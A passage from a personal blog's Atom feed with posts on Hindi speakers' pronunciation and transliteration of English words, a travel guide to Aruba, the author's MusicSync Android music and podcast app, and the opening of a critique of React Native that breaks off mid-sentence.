]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Indian accent</title><link href="https://ashishb.net/linguistics/indian-accent/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/spanish-pronunciations-for-hindi-speakers/?utm_source=atom_feed" rel="related" type="text/html" title="Spanish Pronunciations for Hindi speakers"/><link href="https://ashishb.net/linguistics/sound-of-v/?utm_source=atom_feed" rel="related" type="text/html" title='Hindi: The missing "v" sound'/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/one-name-five-pronunciations/?utm_source=atom_feed" rel="related" type="text/html" title='The five different ways to pronounce the name "Chavez"'/><id>https://ashishb.net/linguistics/indian-accent/</id><author><name>Ashish Bhatia</name></author><published>2021-05-02T16:00:12+00:00</published><updated>2021-05-02T16:00:12+00:00</updated><content type="html"><![CDATA[<blockquote>About 50% of Indians use Hindi as their primary language. Hindi/Devanagari is fairly phonetic except when it starts to import foreign words.</blockquote><p>About 50% of Indians use Hindi as their primary language. Hindi/Devanagari is fairly phonetic except when it starts to import foreign words. And that&rsquo;s why many Indians, with Hindi as their primary language, end up with incorrect pronunciations of foreign, mainly English, words. Let&rsquo;s look at a few specific categories of mistakes.</p>
<h3 id="approximating-english-sounds-to-the-closest-hindi-sounds">Approximating English sounds to the closest Hindi sounds</h3>
<p>During the medieval period, when Persian/Farsi words were being imported into India,
nuqta ( <em>नुक़्ता</em>) was added to map new sounds, the common ones being ज़ and फ़ and the less common ones क़, ग़, ख़.
Without these sounds, especially, ज़ and फ़, the pronunciations would have been noticeably incorrect.
The same approximation mistake is happening with English sounds now.</p>
<ol>
<li>English does not use bi-labial फ, it uses the labio-dental फ़. The bi-labial फ is made by bringing the lips together while the labio-dental फ़ is pronounced by touching the upper lips with lower teeth. So saying <em>फोन</em>, <em>फिल्म</em>, or <em>फर्स्ट</em> is incorrect. The correct words are almost always with फ़, that is, फ़ोन, फ़िल्म, and फ़र्स्ट.  Surprisingly, फ़ which was first introduced for Persian/Farsi words has mostly disappeared from the lexicon, or at least from most Hindi newspapers.</li>
<li>Another labio-dental sound missing from Hindi is &ldquo;v&rdquo;  (see 
<a href="/linguistics/sound-of-v/">v vs w</a>). Many languages, like Hindi and Spanish, do not have the labio-dental &ldquo;v&rdquo; sound. So, a Hindi speaker doesn&rsquo;t distinguish between the pronunciation of &ldquo;vet&rdquo; and &ldquo;wet&rdquo;.</li>
<li>A more subtle mistake happens with retroflex/ <em>मूर्धन्य</em> sounds that involve curling the tongue and touching the ceiling of the mouth. Sounds like <em>ट, ड, ण, ड़, and ढ़</em>  are retroflexes. Out of these, <em>ट</em> and <em>ड</em> are deceivingly closer to the English sounds of t and d. The English equivalents, however, do not involve retroflex at all. The t, as well as the d sound, is made similar to how one would make the L/ल sound.</li>
<li>English has two sounds for &ldquo;L&rdquo;, the light &ldquo;L&rdquo; is the same as Hindi &ldquo;ल&rdquo; but there is a dark sound for it as   
    
    
<a href="https://rachelsenglish.com/english-pronounce-l-consonant?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">well</a>. What&rsquo;s worse is that these sounds have the same IPA symbol. For example, &ldquo;Love&rdquo; has a light L while the word &ldquo;real&rdquo; has a dark L sound. So, how should we map it? Again, nuqta for rescue. A new symbol &ldquo;ल&rdquo; with nuqta can map to this sound.</li>
<li>The English letter &ldquo;R&rdquo; is pronounced in the middle of the mouth by flexing the tongue backward. Hindi &quot; <em>र</em>&quot; is pronounced in the front of the mouth, so, the sounds are subtly different. Better to map English R to the letter <em>ऱ</em> that&rsquo;s currently not used by Hindi.</li>
<li>The English &ldquo;B&rdquo; sounds very similar to Hindi ब. And they are indeed pronounced the same way but the English one is plosive while the Hindi <em>ब</em> like Spanish B is much softer in nature. If you put your hand in front of your mouth and say &ldquo;B&rdquo;, you can feel the explosive gush of the air, not so much with the Hindi <em>ब</em>.</li>
</ol>
<h3 id="transliterating-english-spelling-and-not-pronunciation">Transliterating English spelling and not pronunciation</h3>
<p>This is an easily fixable mistake but still, a lot of textbooks and newspapers do this.</p>
<ol>
<li>&quot;   
    
    
<a href="https://www.bhaskar.com/tech-auto/news/hike-in-mobile-phone-prices-from-april-1-128360839.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">accessories</a>&quot; gets transliterated as <em>एक्सेसरीज</em> (about 2 million   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%8F%E0%A4%95%E0%A5%8D%E0%A4%B8%E0%A5%87%E0%A4%B8%E0%A4%B0%E0%A5%80%E0%A4%9C%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>) and not <em>एक्सेसरीज़</em> (about 1 million   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%8F%E0%A4%95%E0%A5%8D%E0%A4%B8%E0%A5%87%E0%A4%B8%E0%A4%B0%E0%A5%80%E0%A4%9C%E0%A4%BC%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>). The same goes for other imported words like Easy, as in the name of the Indian chain store EasyDay, which   
    
    
<a href="https://www.bhaskar.com/local/mp/khandwa/news/booking-and-payment-of-gas-cylinder-made-easy-by-easi-127496224.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">newspapers</a> translating the spelling write as <em>ईजी</em> instead of <em>ईज़ी</em>.</li>
<li>Another common example of this is the fruit name &ldquo;Banana&rdquo; that&rsquo;s incorrectly transliterated as <em>बनाना</em> (16 Million   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%AC%E0%A4%A8%E0%A4%BE%E0%A4%A8%E0%A4%BE%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>) instead of <em>बनैना</em> (3000   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%AC%E0%A4%A8%E0%A5%88%E0%A4%A8%E0%A4%BE%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>). The two &ldquo;na&rdquo; next to each other don&rsquo;t have identical pronunciations!</li>
<li>The American state of New Jersey is commonly transliterated as <em>न्यू जर्सी</em> (250,000   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%A8%E0%A5%8D%E0%A4%AF%E0%A5%82&#43;%E0%A4%9C%E0%A4%B0%E0%A5%8D%E0%A4%B8%E0%A5%80%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>) while the correct pronunciation is <em>न्यु जर्ज़ी</em> (5   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%A8%E0%A5%8D%E0%A4%AF%E0%A5%81&#43;%E0%A4%9C%E0%A4%B0%E0%A5%8D%E0%A4%9C%E0%A4%BC%E0%A5%80%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>).</li>
<li>There are scenarios where a minor variant might reflect the sound more accurately, for example, if &ldquo;pen&rdquo; is incorrectly translated as <em>पेन</em>, a more phonetically accurate one will be <em>प्हेन</em> where &ldquo;ह्&rdquo; is reflecting the air puffs at the beginning.</li>
<li>The reverse happens where the silent &ldquo;h&rdquo; sounds are transliterated creating sounds that shouldn&rsquo;t exist. For example, the word &ldquo;ghost&rdquo; is incorrectly translated as <em>घोस्ट</em> (600,000   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%98%E0%A5%8B%E0%A4%B8%E0%A5%8D%E0%A4%9F%22&amp;oq=%22%E0%A4%98%E0%A5%8B%E0%A4%B8%E0%A5%8D%E0%A4%9F%22&amp;aqs=chrome..69i57j46i19l2j0i19l6.816j0j1&amp;sourceid=chrome&amp;ie=UTF-8&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>) while it is pronounced <em>गोस्ट</em> (80,000   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%97%E0%A5%8B%E0%A4%B8%E0%A5%8D%E0%A4%9F%22&amp;oq=%22%E0%A4%97%E0%A5%8B%E0%A4%B8%E0%A5%8D%E0%A4%9F%22&amp;aqs=chrome..69i57j0i19l5.968j0j1&amp;sourceid=chrome&amp;ie=UTF-8&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>). The घ sound is non-existent in English. This mistake probably happens because the Hindi words containing घ, for example, <em>मेघा</em> are transliterated to gh. A similar mistake happens in the word &ldquo;Thai&rdquo; that&rsquo;s incorrectly translated as थाई instead of टाई or more accurately ठाई. Also, note that ठ should be pronounced like ल without doing a retroflex (tongue-curl).</li>
<li>A more subtle example is when the same word has different pronunciations, for example, record as a verb in &ldquo;recording&rdquo; and record as a noun in &ldquo;for the record&rdquo; is pronounced differently. The first is pronounced <em>ऱिकौर्ड</em> while the second one is pronounced <em>ऱेकर्ड</em>.</li>
<li>One of the worst examples of this mistake is the Spanish word <strong>junta</strong> which refers to a military regime. It is pronounced &ldquo;hoonta&rdquo;. Even major newspapers   
    
    
<a href="https://navbharattimes.indiatimes.com/world/asian-countries/hundreds-of-people-arrested-during-protests-against-the-myanmar-coup-were-released-by-the-junta-regime/articleshow/81667588.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">incorrectly</a> transliterate it to जुंटा (130,000   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%9C%E0%A5%81%E0%A4%82%E0%A4%9F%E0%A4%BE%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>) instead of slightly more correct <em>हुंटा</em> (450   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%B9%E0%A5%81%E0%A4%82%E0%A4%9F%E0%A4%BE%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>) and correct <em>हूंटा</em> (0 meaningful   
    
    
<a href="https://www.google.com/search?q=%22%E0%A4%B9%E0%A5%82%E0%A4%82%E0%A4%9F%E0%A4%BE%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>!!!). Ask yourself, why should it be called <em>जुंटा</em> except for the fact that it looks like an English word and someone decided to treat its English spelling as proof of its pronunciation! A similar example is the Italian word pizza, the world&rsquo;s most popular dish, that&rsquo;s pronounced <em>पीत्ज़ा</em> (2000   
    
    
<a href="https://www.google.com/search?q=%E0%A4%AA%E0%A5%80%E0%A4%A4%E0%A5%8D%E0%A4%9C%E0%A4%BC%E0%A4%BE&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>) but is most commonly written as <em>पिज्जा</em> (3 Million   
    
    
<a href="https://www.google.com/search?q=%E0%A4%AA%E0%A4%BF%E0%A4%9C%E0%A5%8D%E0%A4%9C%E0%A4%BE&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">search results</a>). Even more accurate <em>प्हीत्ज़ा</em> word has no search results. Why should English spelling dictate the Hindi spelling of an Italian word?</li>
</ol>
<h3 id="lack-of-syllable-stressing">Lack of syllable stressing</h3>
<ol>
<li>Hindi is spoken without stress. English as well as Spanish, however, uses stress for pausing and emphasizing particular letters. While stress is explicitly marked in Spanish, in English, it isn&rsquo;t.</li>
<li>In the case of English, getting the stressing wrong makes it sound unnatural, while in the case of Spanish, it can change the word meaning completely. Consider, for example, oncologist, even its correct transliteration <em>अङकॉलजिस्ट</em> does not convey the full information, as one is expected to pause briefly after अङ and say &quot; <em>कॉलजिस्ट</em>&quot; as a single unit after that. One can bring back Sanskrit&rsquo;s   
    
    
<a href="https://en.wikipedia.org/wiki/Avagraha?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">avagraha</a> symbol to have a similar effect, <em>अङऽकॉलजिस्ट</em>. At first glance, this might look unusual but that&rsquo;s because the previous spelling wasn&rsquo;t conveying the full information, to begin with. A similar example is the name of the city of <strong>San José</strong>, which is incorrectly translated to &ldquo;सैन जोस&rdquo;. Again, being a Spanish noun, reading it as an English word is misleading. When one tries to translate the English pronunciation, the more accurate Hindi equivalent will be <strong><em>सैन होज़ेऽ</em>.</strong> The ऽ emphasizes the stress on the last syllable.</li>
</ol>
<h2 id="note">Note</h2>
<ol>
<li>I used the term English to reference American English here. And Hindi to the north Indian Khadi ( <em>खड़ी</em>) boli dialect.</li>
<li>For the sake of completeness, I should mention that apart from labio-dental f and v, there is a labio-dental m as well. When m is followed by v or f, it transforms from being bi-labial to labio-dental, for example, the &ldquo;m&rdquo; sound in the word comfortable.</li>
<li>The Sanskrit sound ऋ is   
    
    
<a href="https://forum.wordreference.com/threads/hindi-%E0%A4%8B-not-pronunced-as-%E0%A4%B0%E0%A4%BF.2362285/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">probably</a> a retroflex r-sound and is the same as the English r sound. Most Hindi speakers pronounce it as रि though.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/><category scheme="https://ashishb.net/tag/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Things to do in Aruba</title><link href="https://ashishb.net/travel/aruba/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/caribbean-trip-guide/?utm_source=atom_feed" rel="related" type="text/html" title="Where to go on your first Caribbean trip"/><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Dominican Republic in 5 days"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/trinidad-and-tobago/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Trinidad and Tobago"/><link href="https://ashishb.net/travel/dominica/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Dominica - The nature island of the Caribbean"/><id>https://ashishb.net/travel/aruba/</id><author><name>Ashish Bhatia</name></author><published>2021-04-21T16:00:46+00:00</published><updated>2021-04-21T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Aruba&rsquo;s stunning white beaches and vibrant adventures. Stay near Eagle or Palm Beach, explore via Jeep Safari, dive at Mangel Halto, and enjoy vivid island attractions!</blockquote><p>Aruba, a small 
<a href="/travel/caribbean-trip-guide/">Caribbean</a> island 29 km north of Venezuela, is a part of the ABC islands - Aruba, Bonaire, and Curaçao,
which form the Dutch Caribbean and is a part of the Netherlands.
It is famous for its white-sand beaches.</p>
<h3 id="where-to-stay">Where to stay</h3>
<p>Aruba Downtown is very far from the impressive beaches in the northwest.
Choose a 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">hotel/resort/Airbnb</a> near the world-famous Eagle Beach or Palm beach.

<a href="/travel/public-transport-guide/">Public transport</a> consists of a bus that takes 5.2 US$ on a single ride and runs almost once an hour.
Taxis, just like everything else, on the island, are expensive.</p>
<figure>
    
    <a href="Aruba2_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Aruba2_resized-1024x768.jpg"
         alt="A scenic landscape with a rocky shore and clear blue water, capturing the natural beauty of Aruba" width="900"/> </a>
</figure>

<h3 id="things-to-do">Things to do</h3>
<ol>
<li>
<p>Island tour - on a Jeep or a UTV. We did the   
    
    
<a href="https://www.aroundarubatours.com/aruba-tours/aruba-outback-safari-tours/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jeep Safari tour</a>, whose highlights were an animal garden, Arikok national park, and the natural pool.</p>
<figure>
       
       <a href="JeepTour1_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="JeepTour1_resized-1024x768.jpg"
            alt="Jeep Tour" width="900"/> </a>
   </figure>

<figure>
       
       <a href="JeepTour2_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="JeepTour2_resized-1024x768.jpg"
            alt="A jeep navigates rugged terrain during an off-road tour, surrounded by rocky landscape and sparse vegetation under a clear sky." width="900"/> </a>
   </figure>

<figure>
       
       <a href="JeepTour3_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="JeepTour3_resized-1024x768.jpg"
            alt="A tall lighthouse stands by the sea, surrounded by rugged rocks, under a clear blue sky." width="900"/> </a>
   </figure>

<figure>
       
       <a href="Lighthouse_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="Lighthouse_resized-768x1024.jpg"
            alt="A lighthouse stands tall against a clear blue sky, surrounded by rugged terrain and minimal vegetation, evoking a sense of isolation and strength." width="900"/> </a>
   </figure>

</li>
<li>
<p>  
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g488162-d2513634-Reviews-Philip_s_Animal_Garden-Noord_Aruba.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Animal Garden</a> - we did this as a part of Safari, but if you are not doing that, it is worth checking out the animal farm on its own.</p>
<figure>
       
       <a href="AnimalFarm1_resized-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="AnimalFarm1_resized-768x1024.jpg"
            alt="Two figures showing an animal farm, featuring diverse livestock grazing in open fields, surrounded by fences and natural vegetation." width="900"/> </a>
   </figure>

<figure>
       
       <a href="AnimalFarm2_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="AnimalFarm2_resized-1024x768.jpg"
            alt="Animal Farm" width="900"/> </a>
   </figure>

<figure>
       
       <a href="AnimalFarm3_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="AnimalFarm3_resized-1024x768.jpg"
            alt="A serene underwater scene depicts a scuba diver exploring a reef at Mangel Halto beach, surrounded by vibrant marine life and colorful coral formations." width="900"/> </a>
   </figure>

</li>
<li>
<p>Scuba Diving -   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g1192224-d18190889-Reviews-Nautilus_Dive_Center-Pos_Chiquito_Aruba.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mangel Halto beach</a> is famous for Scuba diving. It has both rich flora &amp; fauna and a shipwreck.<img alt="Scuba" loading="lazy" src="/travel/aruba/Scuba1_resized-1024x498.jpg"></p>
<figure>
       
       <a href="Scuba2_resized-1024x613.jpg" data-dimbox="" data-dimbox-caption="" >
       <img loading="lazy" src="Scuba2_resized-1024x613.jpg"
            alt="A scuba diver swims near a vibrant coral reef, surrounded by diverse marine life and a shipwreck. The area is labeled &#39;ba diving&#39; and features rich flora and fauna." width="900"/> </a>
   </figure>

<p><img alt="Scuba" loading="lazy" src="/travel/aruba/Scuba3_resized-1024x651.jpg"></p>
</li>
<li>
<p>  
    
    
<a href="https://depalmisland.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">De Palm Island</a> - I didn&rsquo;t do this experience since I was going Scuba. But if you aren&rsquo;t, then this could be an excellent half-day trip.</p>
</li>
<li>
<p>  
    
    
<a href="https://www.aruba.com/us/explore/butterfly-farm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Butterfly Garden</a> - I skipped it since I was going to the animal farm. But if you aren&rsquo;t, then this might be an excellent short trip for a few hours.</p>
</li>
</ol>
<h3 id="notes">Notes</h3>
<ol>
<li>Given its location, the island is hot year-round. The island is semi-arid due to the low rainfall.</li>
<li>Sunlight is strong in Aruba, so do carry a hat, sunscreen, and skin creams to keep yourself safe. Everything is imported and expensive.</li>
<li>Aruba is more famous among American tourists, while Europeans usually go to Curaçao.</li>
<li>Tap water is potable (drinkable) everywhere, thanks to the massive investments in desalination plants.</li>
<li>English is widely spoken. English + Spanish would give you 100% coverage, though.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/aruba" term="aruba" label="aruba"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/></entry><entry><title type="html">MusicSync: best alternative to Google Play Music and Google Podcasts</title><link href="https://ashishb.net/tech/musicsync-audio-player/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/dealing-with-phone-numbers-in-contact-book/?utm_source=atom_feed" rel="related" type="text/html" title="Dealing with phone numbers in contact book"/><link href="https://ashishb.net/tech/google-i-o-2018-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2018: Android Notes"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/tech/thoughts-on-tizen/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Tizen"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><id>https://ashishb.net/tech/musicsync-audio-player/</id><author><name>Ashish Bhatia</name></author><published>2021-04-01T16:00:21+00:00</published><updated>2021-04-01T16:00:21+00:00</updated><content type="html"><![CDATA[<blockquote>Discover MusicSync, an Android app replacing Google Play Music with offline playback and podcast support. Enjoy music and podcasts without costly subscriptions.</blockquote><p>Google Play Music was great.
Apart from one missing feature about the inability to upload music from the phone to the Google Play Music library,
I had no other complaints.
Then it was abruptly   
    
    
<a href="https://blog.youtube/news-and-events/youtube-music-will-replace-google-play-music-end-2020/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shut down</a>.</p>
<p>Google provided YouTube Music as an alternative.
Unless you pay for the premium version, you can&rsquo;t listen to the music offline,
so, no music access while flying or traveling with no connectivity.
Also, YouTube Music without Premium won&rsquo;t play music with the phone screen turned off.
I don&rsquo;t mind paying.
The problem is that it&rsquo;s a subscription, so, you never know what the price will be a year or two from now.</p>
<p>This was a tipping point for me, I looked at quite a few alternatives.
I couldn&rsquo;t find a single alternative that can play music from cloud storage in offline mode without requiring
me to buy a subscription.
So, being an engineer, I ended up building one.</p>
<p>  
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MusicSync</a> is an Android app that plays music stored on your phone or on Google Drive. It has intelligent offline caching to ensure that data usage is minimized. MusicSync works in offline mode and with the screen turned off. MusicSync supports Android Auto as well as Chromecast. It is modeled after Google Play Music as much as possible. It has minimal display ads that can be removed with a limited one-time purchase of the ad-free version.</p>
<p>So, try it, and let me know if you like it.</p>
<h2 id="update-sep-2023">Update Sep 2023</h2>
<p>I heard the rumors earlier this year that Google Podcasts would shut down.
So, I started adding podcast support to MusicSync.
Unlike music, people usually listen to podcast episodes only once.
And they usually play it without downloading.
Further, the user wants to change playback speed and skip silence.
I&rsquo;m happy to announce that   
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MusicSync</a> already supports that.
You can either search for podcasts or copy/paste a web URL into MusicSync to subscribe to an RSS feed.
By default, all newly published episodes will be added to &ldquo;Queue&rdquo;.
You can enable/disable this for individual podcasts.</p>
<p>And today Google Podcasts have been   
    
    
<a href="https://techcrunch.com/2023/09/26/google-podcasts-to-shut-down-in-2024-with-listeners-migrated-to-youtube-music/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">shut down</a>.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">React Native</title><link href="https://ashishb.net/tech/react-native/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/when-to-commit-generated-code-to-version-control/?utm_source=atom_feed" rel="related" type="text/html" title="When to commit Generated code to version control"/><link href="https://ashishb.net/tech/the-two-step-approach-to-big-code-modifications/?utm_source=atom_feed" rel="related" type="text/html" title="The two-step approach to big code modifications"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><id>https://ashishb.net/tech/react-native/</id><author><name>Ashish Bhatia</name></author><published>2021-03-06T17:00:41+00:00</published><updated>2021-03-06T17:00:41+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why React Native may not be the best choice for mobile app development. Explore the pitfalls of using one codebase, security concerns, and when it properly fits.</blockquote><p>There are tons of hyped-up claims surrounding React Native that are worth addressing.</p>
<p>The reasons why companies run for React Native are usually,</p>
<ol>
<li>We already use Javascript for the website and now, we can build apps in that as well.</li>
<li>We can use one codebase for Android, iOS, and web apps. Or at least, Android and iOS apps.</li>
<li>Facebook uses it</li>
</ol>
<h3 id="we-already-use-javascript-for-the-website">We already use Javascript for the website</h3>
<p>Let&rsquo;s address the first claim. Yes, you can indeed use Javascript for building your mobile app. But it is just a dressing on top. Underneath, you are using various React Native libraries that contain Java code to integrate with the Android framework. That leads to a few problems.</p>
<p>One is that you will see crashes/bugs in the React Native library that you imported and you will have to go in and fix it. So, the Java code is never invisible. Secondly, Android has tons of helper libraries like AppCompat, AndroidX, Arch, etc. As soon as you introduce a layer of indirection in terms of accessing them, you are dependent on the author of those libraries to fix it.</p>
<p>Another problem that happens is that cross-language error handling is 
<a href="/tech/cross-language-bridge-error-handling-js-to-java-example/">hard</a>. If the underlying system throws a checked exception, how is that supposed to be propagated back to Javascript which does not have a concept of checked exceptions? What about unchecked exceptions? What if they aren&rsquo;t even documented? This can   
    
    
<a href="https://www.reddit.com/r/reactnative/comments/c3y889/is_react_native_awfully_unstable_for_you_or_am_i/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lead</a> to the program entering unexpected states and appearing unresponsive.</p>
<p>The third major problem that happens is this magical belief that because you are using Javascript, it is the same platform. Javascript was meant for adding dynamic components to HTML pages. Not to run background tasks on long-running mobile apps. Many websites cannot handle intermittent connectivity drops while loading. And that&rsquo;s acceptable since the users are used to refreshing a web page. Mobile apps are expected to work differently. Even more so, on both platforms, Android and iOS, one can do limited background work, albeit with a different set of restrictions. Javascript isn&rsquo;t even   
    
    
<a href="https://stackoverflow.com/questions/39879/why-doesnt-javascript-support-multithreading?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">multi-threaded</a> and that leads to   
    
    
<a href="https://blog.logrocket.com/overcoming-single-threaded-limitations-in-react-native?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">performance</a> issues. Over time, as you start building more and more features, you realize that you still have to learn the underlying platform alongside an extra Javascript library. For example, say you want to build an Android Auto integration in your app, you will have to understand what Auto APIs&rsquo; capabilities are apart from finding a React Native library to integrate with.</p>
<h3 id="we-can-use-one-codebase-for-android-and-ios">We can use one codebase for Android and iOS</h3>
<p>You can indeed use a single codebase to write Android and iOS. And probably even backend code as well, just have different code paths and trigger different parts of the code. But that&rsquo;s not code sharing. It is more akin to doing a sack race where a strong amount of coordination is required. That&rsquo;s what Airbnb   
    
    
<a href="https://medium.com/airbnb-engineering/react-native-at-airbnb-f95aa460be1c?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">experienced</a>. While a single codebase means that you can build new features and fix bugs in a single place, it also means that one would have to test on both Android and iOS simultaneously. And what about Android fragmentation? or even iOS fragmentation? What if the UI library that you used has a   
    
    
<a href="https://github.com/wix/react-native-notifications/issues/670?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">bug</a> on a certain version of a platform? Consider all the bugs Android and iOS frameworks have. Now, add all the bugs that   
    
    
<a href="https://github.com/facebook/react-native/issues?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">React Native</a> has. Your surface area of hitting a bug has only gone up. That&rsquo;s one of the critiques Steve Jobs had of   
    
    
<a href="https://web.archive.org/web/20200421050708/https://www.apple.com/hotnews/thoughts-on-flash/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Flash-based apps</a>.</p>
<h3 id="facebook-uses-it">Facebook uses it</h3>
<p>Let&rsquo;s look at the final claim that Facebook uses it. Only a small fraction of the Facebook app and that too non-crucial features are written in React Native. Other companies like   
    
    
